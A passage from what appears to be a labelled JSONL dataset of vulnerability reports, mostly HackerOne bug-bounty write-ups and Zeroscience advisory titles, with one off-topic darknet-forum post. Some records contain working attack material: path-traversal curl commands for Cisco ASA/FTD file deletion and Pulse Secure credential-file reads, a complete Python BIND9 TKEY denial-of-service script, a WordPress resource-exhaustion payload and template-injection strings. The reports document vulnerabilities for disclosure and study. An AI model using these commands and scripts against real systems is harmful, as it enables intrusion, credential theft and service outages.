store/cookies etc. After retrieving the desired data/file it can exfiltrate it out of the local-sandbox to a remote recourse (server from the attacker) using the same vector.\r\n\r\n2719 is a vulnerability which can mount a Flash applet from a http:// or https:// origin in the local-with-file-sandbox mode, which is normally only used for files opened locally on the users file-system. Due to this issue the other 2720 vulnerability can be linked in such a way that it is remotely exploitable.\r\n\r\nBy mounting 2719 before 2720 the user does not have to download anything, accept anything.\r\nThe vulnerability requires no additional user interaction, simply visiting the site prepared to serve the exploit is enough.\r\n\r\nThese vulnerabilities are already reported to Adobe and will be patched next week's patch Tuesday (June 10). The CVE number assigned to the combination of these issues is CVE-2014-0535.\r\n\r\nThe link below is a video demonstration of the proof of concept:\r\nhttps://www.youtube.com/watch?v=EjXPAwBt_J4", "source": "hackerone", "timestamp": "2014-06-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dc014a3a0e39a228f28f", "text": "Practico 13.9 Multiple Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "983a6d072abd5d35e8bf", "text": "[Information Disclosure] Disclosure of the name of a program that has a private part with an external link\n\n**Summary:**\nHi team , @jobert , @bencode . Not so long ago, you made an output to the program panel of information about whether the program has the function- `retest`. Also, this is reflected in the report by the attribute `active_retest_subscription`. It seems that it is reflected in publish reports that are created in programs that have external links. The function itself cannot be enabled in the sandbox, which means that it can only be found in real programs. It turns out that if we see this attribute in the report, it means that the program is real, which means it is private\n\n### Steps To Reproduce\n\n1. Go to https://hackerone.com/hacktivity/publish\n2. Input program , create reports\n3. Check .json report - https://hackerone.com/reports/ID.json\n\nIf we see this attribute, it means that the program is private. And it has the `retest` function enabled\n\nThanks!\n@haxta4ok00\n\n## Impact\n\nDisclosure of the name of a program that has a private part with an external link", "source": "hackerone", "timestamp": "2020-05-22", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e89bae12ef1263ac7ed4", "text": "Artiphp CMS 5.5.0 Database Backup Disclosure Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-05-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "13675a7890c224167e99", "text": "[Array Index Underflow] https://██████ vulnerable to CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD\n\nHi team , while testing i found a host ip https://█████████ which belong to DoD (██████████.mil) running web services interface of Cisco ASA/FTD and it is vulnerable to CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences. An exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system.\n\nVulnerable IP : https://█████████\ni did a whois search on it and it confirmed it belongs to DoD as you seen below\n\n████\n\nSteps to Reproduce\n-----------------------------\ngo to https://████\n\n█████\n\nyou will be redirected to SSL VPN service and you will see a web services interface of Cisco ASA/FTD. In above pic you can see the page we are looking at a web service which is vulnerable to CVE 2020-3187 and you can also see the certificate which indicates that this belongs to █████.mil.\n\nProof of Concept\n-------------------------\nNow we know that in CVE-2020-3187 - Unauthenticated arbitrary file deletion in Cisco ASA/FTD. This allow the attacker to view or delete arbitrary files on the targeted system\nIn this we can delete the files. For example the logo file present on the server at https://████/+CSCOU+/csco_logo.gif can be deleted by the following steps\n\nThis can be done by sending a curl request as : curl -H \"Cookie: token=../+CSCOU+/csco_logo.gif\" https://target/+CSCOE+/session_password.html\n\n1. To delete this just hit the following command on your terminals.\n```\ncurl -H “Cookie: token=../+CSCOU+/csco_logo.gif” https://█████/+CSCOE+/session_password.html\n```\nIf that did not work because sometimes logo.gif/png has permission issues so try this \"https://██████/+CSCOE+/blank.html\"\n\n2. You can also delete the file \"/+CSCOE+/blank.html\" (an empty HTML file), as it might be a problem with the permission of the custom logo file sometimes logo.gif has permission issue so we might not be able to delete but we can delete other files\n\nAfter, this the files ( logo and blank html page ) will be deleted from the server, for better demonstration check out this video :\n\n- https://video.twimg.com/ext_tw_video/1286808440271183873/pu/vid/1270x720/8tccA2VgHV9TDtW4.mp4\n\nWarning : This can lead to a denial of service (DOS) on the VPN by deleting the lua source code files from the file system, which will break the WebVPN interface until the device is rebooted.\n\nNow i haven't deleted the logo file because i didn't wanted to cause any damage so i used another method which can help us confirming that target is vulnerable to this without causing damage and for that just check if \"/+CSCOE+/session_password.html\" endpoint exists, and it gives \"200 OK\" status, then it should be vulnerable because this affected endpoint has been removed from the patched versions.\n\nI sent a curl request to check and it gave 200 ok as shown below:\n\n█████\n\nIn a nutshell:\n```\n/+CSCOE+/session_password.html -> 200 = Vulnerable\n/+CSCOE+/session_password.html -> 404 = Patched\n```\nbecause in patched versions this /+CSCOE+/session_password.html file is removed and you will not see it so if it is showing 200 ok then it is vulnerable as you have seen in above pic where it shows a 200 ok while curl request to\n\ncurl -kI https://█████/+CSCOE+/session_password.html\n\nMitigation/Remediation Actions\n--------------------------------------------\nUpgrade the ASA software version per the referenced advisory. This advisory is available at the following link:\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-path-JE3azWw43\n\nReference\n----------------\nhttps://twitter.com/aboul3la/status/1286809567989575685\nhttps://medium.com/@parasarora06/hunting-for-cve-2020-3187-2020-3452-9f0dcc66f4", "source": "hackerone", "timestamp": "2020-10-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fab771c207160063120d", "text": "Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2016-07-26", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "521c8641a5e929fd2709", "text": "[Out-of-bounds Read] Tcpdump before 4.9.3 has a buffer over-read in print-dccp.c:dccp_print_option() (CVE-2018-16229)\n\nTcpdump before 4.9.3 has a buffer over-read in print-dccp.c:dccp_print_option(). This vulnerability was disclosed to the tpcdump maintainers and was fixed in version 4.9.3 and disclosed as CVE-2018-16229.\n\nI was credited with finding and disclosing this vulnerability: https://www.tcpdump.org/public-cve-list.txt\n\n```\nCVE-2018-16229,tcpdump,dccp_options-oobr.pcap,\"Ryan Ackroyd\",2018/05/26,Y,211124b972e74f0da66bc8b16f181f78793e2f66,4.9.3,,\n```\n\nThis vulnerability was discovered in version 4.9.2 after compiling tcpdump with Address Sanitizer (ASAN) and fuzzing tcpdump with mutated packets. This vulnerability can be remotely exploited over the network by an attacker with no interaction needed from the victim.\n\nI have attached test-case \"fuzzer06:id:000018,sig:11,src:007353,op:havoc,rep:16\" as a Proof of Concept to this report.\n\nThis vulnerability can be triggered using the following command:\n\n```\ntcpdump -e -vvvv -H -u -nn -r fuzzer06:id:000018,sig:11,src:007353,op:havoc,rep:16\n```\n \nThe above command shows the following output from ASAN which notes this vulnerability as being a \"heap-buffer-overflow\":\n\n```\nreading from file fuzzer06:id:000018,sig:11,src:007353,op:havoc,rep:16, link-type EN10MB (Ethernet)\n17:59:25.816632 00:07:e9:bd:5d:1f > 00:14:22:59:55:51, ethertype IPv4 (0x0800), length 66: (tos 0x0, ttl 64, id 65312, offset 0, flags [DF], proto DCCP (33), length 52)\n 139.133.209.176.39420 > 139.133.209.65.5001: DCCP (CCVal 0, CsCov 0, cksum 0xaaf3 (incorrect -> 0x8bf3)) DCCP-Request (service=-189888898) seq 8 <nop, nop, nop, nop, change_l ack_ratio 2, change_r ccid 2, change_l ccid 2>\n15:27:00.817006 00:14:22:59:55:51 > 00:07:e9:bd:5d:1f, ethertype IPv4 (0x0800), length 82: (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto DCCP (33), length 68)\n 139.133.209.65.5001 > 139.133.209.176.39420: DCCP (CCVal 0, CsCov 0, ) DCCP-Response (service=0) (ack=38464816766) seq 1960341146 <nop, nop, change_l ack_ratio 2, [|dccp]>\n15:27:00.817125 00:07:e9:bd:00:1f > 00:14:22:59:55:51, ethertype IPv4 (0x0800), length 32582: (tos 0x0, ttl 64, id 65313, offset 0, flags [DF], proto DCCP (33), length 56)\n=================================================================\n==5790==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4a01bf4 at pc 0x080fd4b6 bp 0xfff8c088 sp 0xfff8c078\nREAD of size 4 at 0xf4a01bf4 thread T0\n #0 0x80fd4b5 in EXTRACT_32BITS extract.h:190\n #1 0x80fd4b5 in dccp_print_option print-dccp.c:633\n #2 0x80fd4b5 in dccp_print print-dccp.c:496\n #3 0x816e21a in ip_print_demux print-ip.c:391\n #4 0x816e21a in ip_print print-ip.c:673\n #5 0x8124f70 in ethertype_print print-ether.c:333\n #6 0x8126065 in ether_print print-ether.c:236\n #7 0x80844b4 in pretty_print_packet print.c:332\n #8 0x8065ce8 in print_packet tcpdump.c:2497\n #9 0x83fcb6a in pcap_offline_read savefile.c:527\n #10 0x8346bfe in pcap_loop pcap.c:890\n #11 0x805afb8 in main tcpdump.c:2000\n #12 0xf6fda636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)\n #13 0x806226a (/home/user/targets/builds33/tcpdump-4.9.2/tcpdump+0x806226a)\n\n0xf4a01bf6 is located 0 bytes to the right of 70-byte region [0xf4a01bb0,0xf4a01bf6)\nallocated by thread T0 here:\n #0 0xf720edee in malloc (/usr/lib32/libasan.so.2+0x96dee)\n #1 0x8400752 in pcap_check_header sf-pcap.c:401\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow extract.h:190 EXTRACT_32BITS\nShadow bytes around the buggy address:\n 0x3e940320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e940330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e940340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e940350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e940360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x3e940370: fa fa fa fa fa fa 00 00 00 00 00 00 00 00[06]fa\n 0x3e940380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e940390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x3e9403a0: fa fa fa fa fa fa f", "source": "hackerone", "timestamp": "2020-02-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0c3a1037acb026b06f30", "text": "[Path Traversal] Fix for CVE-2021-22151 (Kibana path traversal issue) can be bypassed on Windows\n\n## Summary\n\nHello team, I hope you're doing well! I was combing through your GitHub repository to look at the fixes for recent security releases and found [the fix for CVE-2021-22151](https://github.com/elastic/kibana/pull/107768) to be incomplete. The current fix makes assumptions that are true on Linux but that don't hold on Windows.\n\n## Details\n\nThe [fixed code](https://github.com/elastic/kibana/blob/62e7deee3c03cde99ae8f5da37352d0d5bd54d84/x-pack/plugins/maps/server/routes.js#L490-L494) looks like this\n\n```typescript\n const range = path.normalize(request.params.range);\n return range.startsWith('..')\n ? response.notFound()\n : new Promise((resolve) => {\n const fontPath = path.join(__dirname, 'fonts', 'open_sans', `${range}.pbf`);\n fs.readFile(fontPath, (error, data) => {\n // snipped\n });\n });\n```\n\nThe assumption is that any path traversal attempts, once normalized, will start with `..`. This seems to hold on Linux, however on Windows this can happen (using the NodeJS REPL for demonstration here):\n\n```javascript\n> let range = path.normalize('c:../../../../../../../path_traversal')\nundefined\n> console.log(range)\nc:..\\..\\..\\..\\..\\..\\..\\path_traversal\n> range.startsWith('..')\nfalse\n> const fontPath = path.join(__dirname, 'fonts', 'open_sans', `${range}.pbf`);\nundefined\n> console.log(fontPath)\nc:\\path_traversal.pbf\n```\n\nPath traversal happened even if the `range` didn't start with `..`.\n\n## Steps to reproduce\n\nThis requires Kibana to be installed on Windows.\n\n1. Put a `.pbf` file somewhere on disk for demonstration. I did it with `echo hax > c:\\path_traversal.pbf`\n1. Visit <http://localhost:5601/api/maps/fonts/open_sans/c%3A..%2F..%2F..%2F..%2F..%2F..%2F..%2Fpath_traversal> and the file from the previous step will be downloaded\n 1. You might need to add some `..%2f` depending on how deep Kibana is installed.\n\n## Remediation\n\nThom Heymann already had a great suggestion [in their code review](https://github.com/elastic/kibana/pull/107768/files#r683586289)\n\n> The best way to solve this is to resolve the path from range and ensure it is inside your fonts directory.\n\nI think this would fix the issue once and for all!\n\n## Impact\n\nPath traversal disclosing `.pbf` files", "source": "hackerone", "timestamp": "2021-11-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "291b24070b1667630fdd", "text": "[Violation of Secure Design Principles] Session not invalidated after password reset\n\nAfter a password reset link is requested and a user's password is then changed, not all existing sessions are logged out automatically. The automatic removal of existing sessions linked to a user whose password was changed is only the case if the session was initiated with the 'Remember me for a week' box NOT checked at the log-in page; sessions with the 'remember' option enabled will persist after the password change.\r\n\r\nLogging in with the new password doesn't invalidate the older session either: I could browse HackerOne using two sessions (in two different browsers) which were initiated using two different passwords.", "source": "hackerone", "timestamp": "2014-06-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e82b1a2f82b18e897acb", "text": "NetServe Web Server v1.0.58 Multiple Remote Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-06-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "4687cc2f145a96d58efe", "text": "FaceSentry Access Control System 6.4.8 Remote Command Injection\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2019-06-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "93311ba2654fc3481cc4", "text": "Schneider Electric Pelco VideoXpert Privilege Escalations\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2017-07-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "76f167ea1d048e805101", "text": "[Cryptographic Issues - Generic] Yelp.com is vulnerable to SWEET32 attack\n\nResearchers have found new attack against 3DES-CBC cipher in TLS,that they can decrypt customer data using a method called SWEET32 Birthday Attack.\n\nThis Vulnerability has got CVE-2016-2183 and has cvss score 5.0\n\nThis vulnerability can be found manually by simply using nmap script\n\nnmap -Pn -p --script ssl-enum-ciphers ip\n\nMitigation for SWEET32 attack\n\n->Prefer minimum 128-bit cipher suites\n\n->Limit the length of TLS sessions with a 64-bit cipher, which could be done with TLS renegotiation or closing and starting a new connection\n\n-> Disable cipher suites using 3DES\nReference link: https://sweet32.info/", "source": "hackerone", "timestamp": "2017-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "cd5d76cb8a343143172c", "text": "[Business Logic Errors] [mtn.com.af] Multiple vulnerabilities allow to Application level DoS\n\n**Issue Description**\nUnauthenticated attackers can cause a denial of service (resource consumption) by using the large list of registered .js files (from wp-includes/script-loader.php) to construct a series of requests to load every file many times.\nThe vulnerability is registered as [CVE-2018-6389] #761722 #752010 #753491 #335177\n\n**CVE ID Risk Score**\n[CVE-2018-6389 7.5](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389)\n\nPlatform(s) Affected: [website]\n*.https://www.mtn.com.af/wp-admin/load-scripts.php?load=\n\n###Steps To Reproduce:\n * Open Vulnerability url - open directory ``/wp-admin/load-scripts.php?load=``\n * Add ``parameter-vulnerable`` in request header\n * In request header using GET-Method\n * Show url opened , and check in network websites has been vulnerable stack-red\n * Response has been truncated\n\n**Payloads Vulnerabilities**\n```\neutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter\n```\n**How to fix:**\n```javascript\nRewriteCond %{QUERY_STRING} ^.{1000,}$\nRewriteRule ^WP-ADMIN/LOAD-SCRIPTS.PHP$ - f\n```\nadd this to your .htaccess\n\n## Impact\n\nCVE-2018-6389", "source": "hackerone", "timestamp": "2021-09-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "091e4651753c3d65c67c", "text": "[OS Command Injection] Pulse Secure File disclosure, clear text and potential RCE\n\n**Summary:**\nPulse Secure has two main vulnerabilities that allow file disclosure and post auth RCE\n**Description:**\nCVE-2019-11510 is a file disclosure due to some normalization issues in pulse secure. I was able to reproduce this by grabbing in the etc/passswd. \nhttps://$hax/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#\n\nThough the impact of that is very limited, medium to high sec at best. From here we can grab a specific file.\n\nThe file /data/runtime/mtmp/lmdb/dataa/data.mdb contains clear context passwords and usernames, when a user logs in from here we can then access the Pulse secure instance. I stopped here due to not wanting to break the rules of engagements but from here I would log in then exploit a Post auth exploit.\n\n\nHere's a list of files that an attacker would instantly hit\n/data/runtime/mtmp/system\n/data/runtime/mtmp/lmdb/dataa/data.mdb\n/data/runtime/mtmp/lmdb/dataa/lock.mdb\n/data/runtime/mtmp/lmdb/randomVal/data.mdb\n/data/runtime/mtmp/lmdb/randomVal/lock.mdb\n## Impact\nCritical \n## Step-by-step Reproduction Instructions\nWe can only do this using due to browsers messing up the exploit\n\ncurl --path-as-is -k -D- https://████████/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#\n\n curl --path-as-is -k -D- https://████████/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/#\n\n curl --path-as-is -k -D- https://███/dana-na/../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/dataa/data.mdb?/dana/html5acc/guacamole/#\n\n## Product, Version, and Configuration (If applicable)\nPulse Secure\n## Suggested Mitigation/Remediation Actions\nPatch pulse immediately\n\n## Impact\n\nAn attacker will be able to download internal files and specifically target a local file which stores clear text passwords when a user login. This also an attacker to access highly sensitive internal areas and even can perform command execution", "source": "hackerone", "timestamp": "2019-12-02", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "724e110978484093daa7", "text": "GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-06-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e47a4d335b89a75677b9", "text": "Microsoft SharePoint 2013 SP1 Stored XSS Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-09-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "72586fd891c3638d7821", "text": "Ecessa Edge EV150 10.7.4 CSRF Add Superuser Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-06-24", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "f45a7b91cff1ecefd3f0", "text": "[Code Injection] 'Limited' RCE in certain places where Liquid is accepted\n\nShort\n====\nCertain interfaces where a shop owner/administrator is able to utilize Liquid have access to methods and properties of certain Drops. This allows calling all methods of the object and access to all properties. While this sounds bad, it seems to be very limited and seems to be 'only' usable for Information Disclosure.\n\nPoC\n====\n 1. Go to your shop admin and navigate to the `Notifcation` settings\n 2. Edit the `New Order Template` and place the following text into the textbox (also shown in the `Malicious Template` screenshot:\n\n {{ methods | json }}\n {{ systemu }}\n {{ class }}\n {{ to_yaml}}\n\n 3. Click the `Preview Button` to have your code executed, results are shown in the `Malicious Template Rendered` screenshot.\n\nAffected parts of the system\n====\nAlmost all of the Notification Email Templates are affected. It looks like one has access to an `OrderDrop` and `DraftOrderDrop` instance (verifyable throigh {{ class }} or similar methods which expose the class name). Please see the attached `Affected Mail Templates` screenshot, all templates which do have a `Revert to default` button rendered are affected.\n\nThe `thank you` page of the checkout is also affected, please see the `Checkout Template` and `Checkout Rendering` screenshots which are attached.\n\nLimitations\n====\nI wasn't able to supply arguments to the methods exposed through this method, but one is still able to call methods which don't accept any. But just because I couldn't find a way doesn't mean there isn't any.\n\nImpact\n====\n 1. One has (at least) the ability to execute instance methods with no arguments and read access to certain otherwise hidden fields via the `to_yaml` method. Depending on the actual code which is flawed it might be even possible to execute methods with user supplied arguments which would probably result in a server breach (there are very intersting methods like `systemu`, `real_call`, `instance_eval` and `instance_exec`.\n 2. This bypasses access restrictions to certain hidden/filtered fields, like a hashed user password. For example, a malicious admin can force the delivery of the `Real Order Mail Rendered` to an address controlled by him if he does the following:\n\n1. Ensure the last user who touched an order is a desired victim (e.g. the shop owner)\n2. Edit the customers email to an attacker controlled one via the Customer admin interface\n3. Resend an order confirmation mail which is prepared to render like `Real Order Rendering` in an Email, by placing `{{ to_yaml }}` in the template\n\nFinal words\n====\nDepending on the real flaw in the code this might be something which needs to be addressed by the Liquid library. I would be very pleased if you could disclose what kind of condition exactly led to this flaw. It might be worth chaning Liquid in a way to guard against this kind of flaw as users expect it to be secure by default.\n\nPlease let me know if you need any additional information here, I hope I was clear enough with my explainations. I'm still a little disappointed that I didn't manage to achieve 'real' RCE here, but I'm happy on the other side to report this asap even without 'real' RCE so you could fix this asap. I discovered this approx. 18h ago by accident and couldn't spend that much time on developing a PoC.", "source": "hackerone", "timestamp": "2015-11-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "56fb8709523701fc7fff", "text": "[Uncontrolled Resource Consumption] ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)\n\nHello Team NextCloud,\n\nIn reference report #217381\nI've reported the DDOS attack via DNS Port at OwnCloud..\nAnd it was successfully patched.\n\nBut now same issue I got at\n\n```\nci.nextcloud.com\n```\nProof Of Concept:\nHere it is the nmap result of ci.nextcloud.com\n\nNMap Scan Results:\n```\nStarting Nmap 7.40 ( https://nmap.org ) at 2017-06-08 04:12 PKT\nNmap scan report for ci.nextcloud.com (█████)\nHost is up (0.077s latency).\nrDNS record for █████████: ███████\nNot shown: 96 filtered ports\nPORT STATE SERVICE VERSION\n22/tcp open tcpwrapped\n53/tcp open tcpwrapped\n80/tcp open tcpwrapped\n443/tcp open tcpwrapped\n```\nNow here it is the telnet result:\n```\n──╼ $telnet\ntelnet> open\n(to) ci.nextcloud.com 53\nTrying ███...\nConnected to ci.nextcloud.com.\nEscape character is '^]'.\n```\n\nSo this can leads to a serious DDOS attack at doc.owncloud.com using the exploit..\n\nExploit Link:\n\n```\nhttps://github.com/elceef/tkeypoc/\n```\nVulnerability Reference CVE Details:\n\n```\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5477\n```\nExploit PoC:\n\nExploit Title: PoC for BIND9 TKEY DoS\n\nExploit Author: elceef\n\nSoftware Link: https://github.com/elceef/tkeypoc/\n\nVersion: ISC BIND 9\n\nTested on: multiple\n\nCVE : CVE-2015-5477\n\n```\n!/usr/bin/env python\n\nimport socket\nimport sys\n\nprint('CVE-2015-5477 BIND9 TKEY PoC')\n\nif len(sys.argv) < 2:\nprint('Usage: ' + sys.argv[0] + ' [target]')\nsys.exit(1)\n\nprint('Sending packet to ' + sys.argv[1] + ' ...')\n\npayload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.sendto(payload, (sys.argv[1], 53))\n\nprint('Done.')\n```\n\nThanks :)", "source": "hackerone", "timestamp": "2017-06-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "69b8d02ab473edfc4f42", "text": "Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-08-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0a4569c4034f9d898051", "text": "[Code Injection] H1514 Server Side Template Injection in Return Magic email templates?\n\n**Summary:**\nPossible template injection in return magic email templates.\n\n**Description:** \nI've been playing with return magic workflow email templates and there seems to be some kinda of template injection but I am not sure if it's exploitable or even valid.\nHere is why I think it could be vulnerable: \nI set the email template to the following and then test the template and then the results go to my gmail inbox.\n`{{ this }} ` -> `[Object Object]` \n`{{ this.__proto__ }}` --> `[Object Object]`\n`{{ this.__proto__.constructor.name }}` --> `Object`\nI couldn't go further but it seems like the backend is NodeJs.\n\n## Steps To Reproduce:\n\n1. Install Return Magic app\n2. Navigate to `https://<shop>.myshopify.com/admin/apps/returnmagic`\n3. Open Settings tab from the top menu and then open **Emails** --> **Workflow** from the left menu\n4. Click Edit for any email template then at the editor click the code icon and enter `{{this}}` \n5. Go back to **Workflow** page and click **Send me a test email** for the template you edited then enter your email and check your inbox.\n6. You'll see `[Object Object]`\n\n## Supporting Material/References:\n{F360290}\n\n{F360291}\n\n## Impact\n\nCould be a Server Side template injection that can be used to take over the server ¯\\_(ツ)_/¯", "source": "hackerone", "timestamp": "2019-04-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "2191c45dc169949a1c2a", "text": "[Reddit Darknet Markets] Oh you're going to love this....\n\nI've got no drug charges against me. Just not paying hotel bill and refusing to pay for a bike I didn't damage. And when they searched my bag they wanted receipts for everything of value so they're accusing me of stealing a brand new wallet, some aftershave, and some cartons of cigarettes. All bought on Koh Samui. It's corruption to a T. \n\nI'm really not guilty of much. Honest!", "source": "gayanku", "timestamp": "2016-06-12", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "57cc0aea502d7c03bf5d", "text": "[Information Disclosure] Information Disclosure on https://rpc.sifchain.finance/\n\nDescription:\nHi team,\nI see the subdomain https://rpc.sifchain.finance/ .\nAnd I visited this subdomain it contains many endpoints.\n\nAffected URLs:\nhttps://rpc.sifchain.finance/\n\nPoc Available endpoints:\nEndpoints that require arguments:\n//rpc.sifchain.finance/abci_info?\n//rpc.sifchain.finance/abci_query?path=_&data=_&height=_&prove=_\n//rpc.sifchain.finance/block?height=_\n//rpc.sifchain.finance/block_by_hash?hash=_\n//rpc.sifchain.finance/block_results?height=_\n//rpc.sifchain.finance/blockchain?minHeight=_&maxHeight=_\n//rpc.sifchain.finance/broadcast_evidence?evidence=_\n//rpc.sifchain.finance/broadcast_tx_async?tx=_\n//rpc.sifchain.finance/broadcast_tx_commit?tx=_\n//rpc.sifchain.finance/broadcast_tx_sync?tx=_\n//rpc.sifchain.finance/commit?height=_\n//rpc.sifchain.finance/consensus_params?height=_\n//rpc.sifchain.finance/consensus_state?\n//rpc.sifchain.finance/dump_consensus_state?\n//rpc.sifchain.finance/genesis?\n//rpc.sifchain.finance/health?\n//rpc.sifchain.finance/net_info?\n//rpc.sifchain.finance/num_unconfirmed_txs?\n//rpc.sifchain.finance/status?\n//rpc.sifchain.finance/subscribe?query=_\n//rpc.sifchain.finance/tx?hash=_&prove=_\n//rpc.sifchain.finance/tx_search?query=_&prove=_&page=_&per_page=_&order_by=_\n//rpc.sifchain.finance/unconfirmed_txs?limit=_\n//rpc.sifchain.finance/unsubscribe?query=_\n//rpc.sifchain.finance/unsubscribe_all?\n//rpc.sifchain.finance/validators?height=_&page=_&per_page=_\n\nAnd visit every individual link it contain a sensitive information.\nSo I will submitted as a bug report.\n\nHere is the poc screenshot:\n{F1300962}\n\n## Impact\n\nSensitive Information Disclosed via this subdomain.", "source": "hackerone", "timestamp": "2021-05-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9ae5648aebfebf64cedd", "text": 